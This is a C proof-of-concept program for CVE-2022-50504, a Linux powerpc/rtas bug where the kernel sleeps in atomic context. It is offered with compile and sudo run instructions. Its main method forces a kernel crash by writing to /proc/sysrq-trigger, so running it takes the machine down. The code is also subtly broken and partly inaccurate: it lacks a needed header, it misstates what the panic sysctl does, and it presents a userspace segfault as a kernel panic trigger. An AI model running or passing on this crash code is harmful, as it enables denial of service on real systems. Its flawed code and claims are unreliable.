CVE-2022-50504 Linux内核powerpc/rtas原子上下文睡眠函数调用漏洞

/* * CVE-2022-50504 - Linux Kernel powerpc/rtas Atomic Context Sleep Vulnerability * * This PoC demonstrates how to trigger the vulnerability on a PowerPC system * running a vulnerable Linux kernel (prior to the fix). * * The vulnerability is triggered when: * 1. A kernel panic occurs on a PowerPC (ppc64/ppc64le) system * 2. The panic handler calls rtas_os_term() to notify firmware * 3. The ibm,os-term RTAS call returns BUSY status * 4. rtas_busy_delay() is called from atomic context, causing a BUG * * Compile: gcc -o poc_cve_2022_50504 poc_cve_2022_50504.c * Run: sudo ./poc_cve_2022_50504 * * Note: This requires a PowerPC system with RTAS support and a vulnerable kernel. * On non-PowerPC systems, this will not trigger the specific vulnerability. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <sys/syscall.h> #include <string.h> #include <errno.h> /* Method 1: Trigger via /proc/sys/kernel/panic (requires root) */ int trigger_via_proc(void) { FILE *f; printf("[*] Attempting to trigger kernel panic via /proc/sys/kernel/panic...\n"); /* Set panic timeout to 0 so panic occurs immediately */ f = fopen("/proc/sys/kernel/panic", "w"); if (f == NULL) { printf("[-] Cannot open /proc/sys/kernel/panic: %s\n", strerror(errno)); printf("[-] Need root privileges or sysctl -w kernel.panic=0\n"); return -1; } fprintf(f, "0\n"); fclose(f); /* Trigger oops/panic */ f = fopen("/proc/sysrq-trigger", "w"); if (f == NULL) { printf("[-] Cannot open /proc/sysrq-trigger: %s\n", strerror(errno)); return -1; } fprintf(f, "c\n"); /* 'c' triggers a crash (kernel panic) */ fclose(f); return 0; } /* Method 2: Trigger via magic SysRq key */ int trigger_via_sysrq(void) { int fd; printf("[*] Attempting to trigger kernel panic via SysRq...\n"); /* Enable SysRq */ fd = open("/proc/sys/kernel/sysrq", O_WRONLY); if (fd >= 0) { write(fd, "1\n", 2); close(fd); } /* Trigger crash via SysRq */ fd = open("/proc/sysrq-trigger", O_WRONLY); if (fd < 0) { printf("[-] Cannot open /proc/sysrq-trigger: %s\n", strerror(errno)); return -1; } write(fd, "c\n", 2); close(fd); return 0; } /* Method 3: Trigger via intentional segfault (SIGSEGV) */ void trigger_segfault_handler(int sig) { printf("[!] Received signal %d, system may be crashing...\n", sig); _exit(1); } int trigger_via_segfault(void) { printf("[*] Attempting to trigger kernel panic via segfault...\n"); signal(SIGSEGV, trigger_segfault_handler); /* Write to invalid memory address to trigger oops */ *(volatile int *)0xdeadbeef = 0; return 0; } int main(int argc, char *argv[]) { printf("========================================\n"); printf("CVE-2022-50504 PoC\n"); printf("Linux Kernel powerpc/rtas Atomic Context Sleep\n"); printf("========================================\n\n"); if (getuid() != 0) { printf("[!] Warning: Not running as root. Some methods may fail.\n"); printf("[!] Run with sudo for full functionality.\n\n"); } /* Check if running on PowerPC */ #ifdef __powerpc__ printf("[+] Running on PowerPC architecture - vulnerability may trigger\n\n"); #else printf("[-] Not running on PowerPC architecture\n"); printf("[-] This CVE only affects powerpc/ppc64/ppc64le systems\n"); printf("[-] The PoC will still attempt to trigger a panic for demonstration\n\n"); #endif int method = 1; if (argc > 1) { method = atoi(argv[1]); } switch (method) { case 1: trigger_via_proc(); break; case 2: trigger_via_sysrq(); break; case 3: trigger_via_segfault(); break; default: printf("Usage: %s [1|2|3]\n", argv[0]); printf(" 1: Trigger via /proc/sys/kernel/panic (default)\n"); printf(" 2: Trigger via SysRq\n"); printf(" 3: Trigger via segfault\n"); return 1; } printf("[*] If running on vulnerable PowerPC kernel, the system should\n"); printf("[*] panic and show 'BUG: sleeping function called from invalid context'\n"); printf("[*] in the call trace involving rtas_os_term().\n"); return 0; }